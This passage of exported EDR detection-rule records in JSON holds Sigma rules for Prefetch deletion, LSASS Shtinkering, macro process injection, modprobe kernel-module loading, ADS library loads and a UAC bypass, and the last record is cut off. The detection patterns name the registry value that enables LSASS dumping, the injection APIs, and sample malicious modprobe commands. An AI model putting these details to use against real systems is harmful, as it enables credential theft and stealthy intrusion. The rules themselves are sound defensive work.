+  "rule_description": "Detects the deletion of a Prefetch file.\nPrefetch files are useful forensics artifacts allowing the investigation of applications that have recently run on a Windows system.\nAdversaries may delete these files to cover their tracks and disrupt incident response or forensic analysis.\nIt is recommended to investigate the deletion activity, check for missing Prefetch files in the \"%ProgramFiles%\\WindowsResources\\Prefetch\" directory and review the user or process responsible.\nIt is common for administrators to execute cleanup scripts from RMM solutions that delete Prefetch files.\nIf this is recurrent in your environment, it is highly recommended to whitelist this alert.\n",
+  "rule_creation_date": "2023-09-15",
+  "rule_modified_date": "2026-03-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b0120c9c-02c9-4ea2-bb67-0f50ff53427f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621043Z",
+  "creation_date": "2026-03-23T11:45:34.621045Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621049Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/deepinstinct/Lsass-Shtinkering",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_registry_modification_lsass_shtinkering_specific.yml",
+  "content": "title: Suspicious Registry Modification Associated with LSASS Shtinkering\nid: b0120c9c-02c9-4ea2-bb67-0f50ff53427f\ndescription: |\n    Detects a modification in the registry necessary for the LSASS Shtinkering dump method to work.\n    LSASS Shtinkering is a LSASS dump technique that consists in sending a message to the Windows Error Reporting service to report an LSASS exception.\n    This, along with the correct dump type set in the registry, will dump the LSASS process memory.\n    This registry option might be enabled to aid Windows application developers with debugging.\n    It is recommended to investigate the process performing the registry modification to determine its legitimacy, a legitimate context could be the debugging of an application.\nreferences:\n    - https://github.com/deepinstinct/Lsass-Shtinkering\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2023/04/03\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\LocalDumps\\DumpType\\lsass.exe'\n        Details: 'DWORD (0x00000002)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_regedit:\n        ProcessImage: '?:\\Windows\\regedit.exe'\n\n    exclusion_schedule:\n        - ProcessParentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n        - ProcessGrandparentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    exclusion_amazon:\n        ProcessCommandLine: 'powershell.exe -ExecutionPolicy RemoteSigned -file ?:\\Program Files\\Amazon\\Photon\\Bootstrap\\bootstrap.ps1'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b0120c9c-02c9-4ea2-bb67-0f50ff53427f",
+  "rule_name": "Suspicious Registry Modification Associated with LSASS Shtinkering",
+  "rule_description": "Detects a modification in the registry necessary for the LSASS Shtinkering dump method to work.\nLSASS Shtinkering is a LSASS dump technique that consists in sending a message to the Windows Error Reporting service to report an LSASS exception.\nThis, along with the correct dump type set in the registry, will dump the LSASS process memory.\nThis registry option might be enabled to aid Windows application developers with debugging.\nIt is recommended to investigate the process performing the registry modification to determine its legitimacy, a legitimate context could be the debugging of an application.\n",
+  "rule_creation_date": "2023-04-03",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b017a945-6dc9-439d-a646-cd49dd78ae40",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623863Z",
+  "creation_date": "2026-03-23T11:45:34.623865Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623883Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1059/005/",
+    "https://attack.mitre.org/techniques/T1106"
+  ],
+  "name": "t1059_005_office_vba_macro_susp_native_api.yml",
+  "content": "title: Office VBA Macro Suspicious Native API Usage\nid: b017a945-6dc9-439d-a646-cd49dd78ae40\ndescription: |\n    Detects suspicious native API usage in an Office VBA Macro.\n    Threat actors can embed a macro that silently calls Windows's low level routines to carve out executable space inside a process, drop malicious code there, and then hand control to that code by spawning or hijacking a thread.\n    By launching a secondary process and manipulating its execution context, they can inject the payload without touching the disk, gaining stealthy execution.\n    It is recommended to investigate the TextPayload and the related Office document for suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1059/005/\n    - https://attack.mitre.org/techniques/T1106\ndate: 2026/01/13\nmodified: 2026/03/19\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.005\n    - attack.t1106\n    - classification.Windows.Source.AmsiScan\n    - classification.Windows.Behavior.Phishing\nlogsource:\n    product: windows\n    category: amsi_scan\ndetection:\n    selection:\n        AppName: 'OFFICE_VBA'\n        ProcessProcessName:\n            - 'Excel.exe'\n            - 'WinWord.exe'\n        TextPayload|contains:\n            # Native API usage\n            - 'GetProcAddress'\n            - 'VirtualAlloc'\n            - 'NtAllocateVirtualMemory'\n            - 'CreateProcess?('\n            - 'CreateProcess('\n            - 'SetThreadContext'\n            - 'NtSetContextThread'\n            - 'CreateRemoteThread'\n            - 'LoadLibrary'\n            - 'NtProtectVirtualMemory'\n            - 'VirtualProtect'\n            - 'QueueUserApc'\n            - 'WriteProcessMemory'\n            - 'NtWriteVirtualMemory'\n\n    exclusion_opensolver:\n        ContentName|endswith: '\\OpenSolver.xlam'\n\n    exclusion_xlwings:\n        TextPayload|contains: 'KERNEL32.LoadLibraryA(*\\xlwings64*.dll)'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b017a945-6dc9-439d-a646-cd49dd78ae40",
+  "rule_name": "Office VBA Macro Suspicious Native API Usage",
+  "rule_description": "Detects suspicious native API usage in an Office VBA Macro.\nThreat actors can embed a macro that silently calls Windows's low level routines to carve out executable space inside a process, drop malicious code there, and then hand control to that code by spawning or hijacking a thread.\nBy launching a secondary process and manipulating its execution context, they can inject the payload without touching the disk, gaining stealthy execution.\nIt is recommended to investigate the TextPayload and the related Office document for suspicious activities.\n",
+  "rule_creation_date": "2026-01-13",
+  "rule_modified_date": "2026-03-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.005",
+    "attack.t1106"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b0391959-bd75-4da0-9f2c-a888f2fb3349",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.615481Z",
+  "creation_date": "2026-03-23T11:45:35.294594Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294600Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://linux.die.net/man/8/modprobe",
+    "https://man7.org/linux/man-pages/man8/kmod.8.html",
+    "https://attack.mitre.org/techniques/T1547/006/",
+    "https://attack.mitre.org/techniques/T1014/"
+  ],
+  "name": "t1547_006_kernel_module_load_modprobe.yml",
+  "content": "title: Kernel Module Loaded via Modprobe\nid: b0391959-bd75-4da0-9f2c-a888f2fb3349\ndescription: |\n    Detects the execution of modprobe to load a kernel module manually.\n    Adversaries may modify the kernel to automatically execute programs on system boot.\n    Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.\n    They extend the functionality of the kernel without the need to reboot the system.\n    For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.\n    It is recommended to analyze both the process calling modprobe and the loaded kernel module to look for malicious content or actions.\nreferences:\n    - https://linux.die.net/man/8/modprobe\n    - https://man7.org/linux/man-pages/man8/kmod.8.html\n    - https://attack.mitre.org/techniques/T1547/006/\n    - https://attack.mitre.org/techniques/T1014/\ndate: 2023/12/15\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1547.006\n    - attack.defense_evasion\n    - attack.t1014\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Rootkit.Generic\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.PrivilegeEscalation\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    # Commands seen in malware:\n    # modprobe my_malicious_malware\n    # modprobe -a malicious_1 malicious_2\n    # modprobe -- /root/my_malicious_malware.ko\n    selection:\n        Image|endswith: '/kmod'\n        CommandLine|contains: 'modprobe '\n\n        # Ensure `modprobe` isn't called from a kworker thread (they have an empty image path)\n        ParentImage|contains: '?'\n\n    # modprobe --help\n    exclusion_options_args:\n        CommandLine|contains:\n            - ' --help'\n            - ' --version'\n            - ' --dry-run'\n            - ' --show'\n            - ' --show-depends'\n            - ' --showconfig'\n            - ' --show-config'\n            - ' --show-modversions'\n            - ' --show-exports'\n            - ' -n '\n\n    exclusion_modules:\n        CommandLine|contains:\n            - ' nvidia'\n            - ' nf_conntrack'\n            - ' tun'\n            - ' fuse'\n            - ' evdi'\n            - ' zfs'\n            - ' aufs'\n            - ' btrfs'\n            - ' kvm_intel'\n            - ' efivars'\n            - ' vboxdrv'\n            - ' overlay'\n            - ' cpufreq_performance'\n            - ' cpufreq_powersave'\n            - ' cpufreq_conservative'\n            - ' ipt_connmark'\n            - ' net-pf-10'\n\n    exclusion_iptables:\n        ParentImage:\n            - '/usr/bin/iptables'\n            - '/usr/sbin/iptables'\n            - '/usr/bin/xtables-multi'\n            - '/usr/sbin/xtables-multi'\n            - '/usr/bin/xtables-legacy-multi'  # iptables using old getsockopt/setsockopt-based kernel api\n            - '/usr/sbin/xtables-legacy-multi'\n            - '/usr/sbin/ebtables'\n            - '/usr/sbin/ebtables-legacy'\n            - '/usr/sbin/ebtables-legacy-restore'\n\n    exclusion_containers:\n        ProcessAncestors|contains: '/usr/bin/containerd-shim'\n\n    exclusion_systemd:\n        ParentImage:\n            - '/usr/lib/systemd/systemd'\n            - '/nix/store/*-systemd-*/lib/systemd/systemd'\n\n    exclusion_microk8s:\n        - ParentImage: '/snap/microk8s/*/sbin/xtables-legacy-multi'\n        - ParentCommandLine: '/bin/bash /snap/microk8s/*/run-kubelite-with-args'\n\n    exclusion_containerd:\n        ParentImage: '/usr/bin/containerd'\n\n    exclusion_dockerd:\n        - ParentImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/dockerd-ce'\n        - ProcessAncestors|contains:\n            - '|/usr/bin/dockerd|'\n            - '|/var/lib/rancher/k3s/data/*/bin/containerd-shim-runc-v2|'\n            - '|/usr/bin/docker-containerd-shim-current|'\n            - '|/var/lib/rancher/*/bin/containerd-shim-runc-v2|'\n\n    exclusion_os_prober:\n        GrandparentCommandLine:\n            - '/bin/sh /usr/bin/os-prober'\n            - '/usr/bin/sh /bin/os-prober'\n\n    exclusion_openvpn:\n        - ParentImage: '/usr/lib/nm-openvpn-service'\n        - GrandparentImage: '/usr/lib/NetworkManager/nm-openvpn-service'\n\n    exclusion_veritas:\n        GrandparentImage: '/opt/VRTSralus/bin/beremote'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_ipv6:\n        CommandLine: 'modprobe ipv6'\n        GrandparentCommandLine:\n            - '/bin/bash /etc/rc.d/init.d/network start'\n            - '/bin/bash /etc/sysconfig/network-scripts/ifup-eth ifcfg-*'\n\n    exclusion_suspend:\n        ParentCommandLine:\n            - '/bin/bash /usr/lib/systemd/system-sleep/wifi-reset post suspend'\n            - '/bin/bash /usr/lib/systemd/system-sleep/touchpad-reset post suspend'\n        GrandparentCommandLine: '/lib/systemd/systemd-sleep suspend'\n\n    exclusion_pacman:\n        ProcessAncestors|contains: '|/usr/bin/pacman|'\n\n    exclusion_dpkg:\n        ProcessAncestors|contains: '|/usr/bin/dpkg|'\n\n    exclusion_legitimate_parent:\n        - ParentImage:\n            # PLZ sandbox\n            - '/tmp/plz_sandbox/'\n            # Nagios\n            - '/usr/sbin/nagios'\n            # Podman\n            - '/usr/bin/podman'\n            # System utilities\n            - '/usr/sbin/networkmanager'\n            # Kube\n            - '/usr/local/bin/kube-proxy'\n            - '/var/lib/rancher/k3s/data/*/bin/k3s'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/usr/bin/rke2'\n            - '/usr/local/bin/rke2'\n            - '/opt/rancher/rke2/bin/rke2'\n            - '/usr/bin/cilium-agent'\n            - '/usr/bin/brltty'\n            - '/usr/sbin/pktsetup'\n            - '/usr/sbin/alsactl'\n            - '/usr/lib/snapd/snapd'\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/microk8s/*/kubelite'\n            - '/opt/sentinelone/bin/sentinelone-agent'\n        - ParentCommandLine:\n            # Intel\n            - '/bin/sh /etc/kernel/preinst.d/intel-microcode *'\n            - '/bin/sh /usr/share/initramfs-tools/hooks/intel_microcode'\n            # VirtualBox\n            - '/bin/sh /usr/lib/virtualbox/vboxdrv.sh *'\n            - '/usr/bin/sh /usr/lib/virtualbox/vboxdrv.sh *'\n            - '/bin/sh /etc/init.d/virtualbox *'\n            - '/bin/sh /etc/init.d/virtualbox-guest-utils-hwe *'\n            # Nagios\n            - '/usr/local/nagios/plugins/check_ping'\n            # Laptop detect\n            - '/bin/sh -e /usr/bin/laptop-detect'\n            - '/bin/sh -e /bin/laptop-detect'\n            # McAfee\n            - '/bin/bash /opt/mcafee/ens/esp/scripts//modversion-check.sh *'\n            - '/bin/bash //opt/mcafee/ens/esp/scripts//modversion-check.sh *'\n            # VMWare\n            - '/etc/init.d/vmware start'\n            - '/etc/init.d/vmware stop'\n            - 'bash /etc/init.d/vmware start'\n            - 'bash /etc/init.d/vmware stop'\n            - '/bin/sh /etc/rc.d/init.d/vmware-tools start'\n            - '/bin/sh /etc/rc.d/init.d/vmware-tools stop'\n            # SCAP\n            - 'bash /usr/bin/scap-driver-loader'\n            # ALSA\n            - '/bin/sh /usr/sbin/alsa force-reload'\n            - 'sh -c -- /sbin/modprobe --ignore-install snd  && { /sbin/modprobe --quiet --use-blacklist snd-*'\n            - 'sh -c -- /sbin/modprobe --ignore-install snd-seq  && { /sbin/modprobe --quiet --use-blacklist snd-*'\n            - 'sh -c -- /sbin/modprobe --ignore-install snd-rawmidi  && { /sbin/modprobe --quiet --use-blacklist snd-*'\n            # System utilities\n            - '/bin/bash /usr/bin/pf_ringctl start'\n            - '/usr/lib/systemd/systemd-udevd'\n            - '/bin/sh /usr/lib/os-probes/init/10filesystems'\n            - '/bin/sh /usr/libexec/os-probes/init/10filesystems'\n            - '/bin/bash /etc/network/iptables/iptables'\n            # Veeam\n            - '/usr/sbin/veeamworker --pidfile /var/run/veeamservice.pid --daemon'\n            # Firewalld\n            - '/usr/bin/python2 -es /usr/sbin/firewalld --nofork --nopid'\n            - '/usr/libexec/platform-python -s /usr/sbin/firewalld --nofork --nopid'\n            # Commvault\n            - '/*/commvault/base*/cvlaunchd'\n            # openipmi\n            - '/bin/sh /etc/init.d/openipmi start'\n            - '/bin/sh /etc/init.d/openipmi stop'\n            # Veracrypt\n            - '/usr/bin/veracrypt --core-service'\n            # mkinitcpio\n            - 'bash /usr/bin/mkinitcpio -k /boot/vmlinuz-linux -g /boot/initramfs-linux.img'\n            # kdumpctl\n            - '/bin/bash /usr/bin/kdumpctl start'\n            # Gparted\n            - '/usr/libexec/gpartedbin'\n            # VPN\n            - '*/sh /usr/libexec/ipsec/_stackmanager start'\n            - '*/sh /etc/sysconfig/network-scripts/ifup-ipv6 *'\n            # Fan\n            - '/bin/sh - /usr/lib/ubuntu-fan/fan-net start'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b0391959-bd75-4da0-9f2c-a888f2fb3349",
+  "rule_name": "Kernel Module Loaded via Modprobe",
+  "rule_description": "Detects the execution of modprobe to load a kernel module manually.\nAdversaries may modify the kernel to automatically execute programs on system boot.\nLoadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.\nThey extend the functionality of the kernel without the need to reboot the system.\nFor example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.\nIt is recommended to analyze both the process calling modprobe and the loaded kernel module to look for malicious content or actions.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1014",
+    "attack.t1547.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b050aae5-6064-4892-abde-50ff28111a90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087041Z",
+  "creation_date": "2026-03-23T11:45:34.087043Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087048Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1564/004/"
+  ],
+  "name": "t1546_004_library_loaded_from_ads.yml",
+  "content": "title: Library Loaded from ADS\nid: b050aae5-6064-4892-abde-50ff28111a90\ndescription: |\n    Detects a library loaded from an Alternate Data Stream (ADS).\n    Attackers may hide malicious payloads in a file's ADS to hide their actions and evade detection.\n    It is recommended to investigate the actions performed by the process that loaded the library, as well as to analyze the load library for malicious content.\nreferences:\n    - https://attack.mitre.org/techniques/T1564/004/\ndate: 2024/12/17\nmodified: 2025/10/02\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564.004\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|startswith: '?:*:'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b050aae5-6064-4892-abde-50ff28111a90",
+  "rule_name": "Library Loaded from ADS",
+  "rule_description": "Detects a library loaded from an Alternate Data Stream (ADS).\nAttackers may hide malicious payloads in a file's ADS to hide their actions and evade detection.\nIt is recommended to investigate the actions performed by the process that loaded the library, as well as to analyze the load library for malicious content.\n",
+  "rule_creation_date": "2024-12-17",
+  "rule_modified_date": "2025-10-02",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b05508fb-568a-49c3-b7fe-be09a6b61772",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093226Z",
+  "creation_date": "2026-03-23T11:45:34.093228Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093232Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/antonioCoco/SspiUacBypass/",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_post_uac_bypass_sspi.yml",
+  "content": "title: UAC Bypass via Service Control Manager Named Pipe Executed\nid: b05508fb-568a-49c3-b7fe-be09a6b61772\ndescription: |\n    Detects a connection to the ntsvcs named pipe using a specific pattern.\n    Attackers might use this service-related named pipe to create a new service for UAC bypass.\n    Attackers may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to investigate the process making the connection and any new services created on the machine.\nreferences:\n    - https://github.com/antonioCoco/SspiUacBypass/\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2024/10/08\nmodified: 2025/01/13\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1548.002\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.UACBypass\nlogsource:\n    product: windows\n    category: named_pipe_connection\ndetection:\n    selection:\n        PipeName: '\\127.0.0.1\\pipe\\ntsvcs'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b05508fb-568a-49c3-b7fe-be09a6b61772",
+  "rule_name": "UAC Bypass via Service Control Manager Named Pipe Executed",
+  "rule_description": "Detects a connection to the ntsvcs named pipe using a specific pattern.\nAttackers might use this service-related named pipe to create a new service for UAC bypass.\nAttackers may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to investigate the process making the connection and any new services created on the machine.\n",
+  "rule_creation_date": "2024-10-08",
+  "rule_modified_date": "2025-01-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b055e773-e224-4c61-9498-88eb2239b128",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
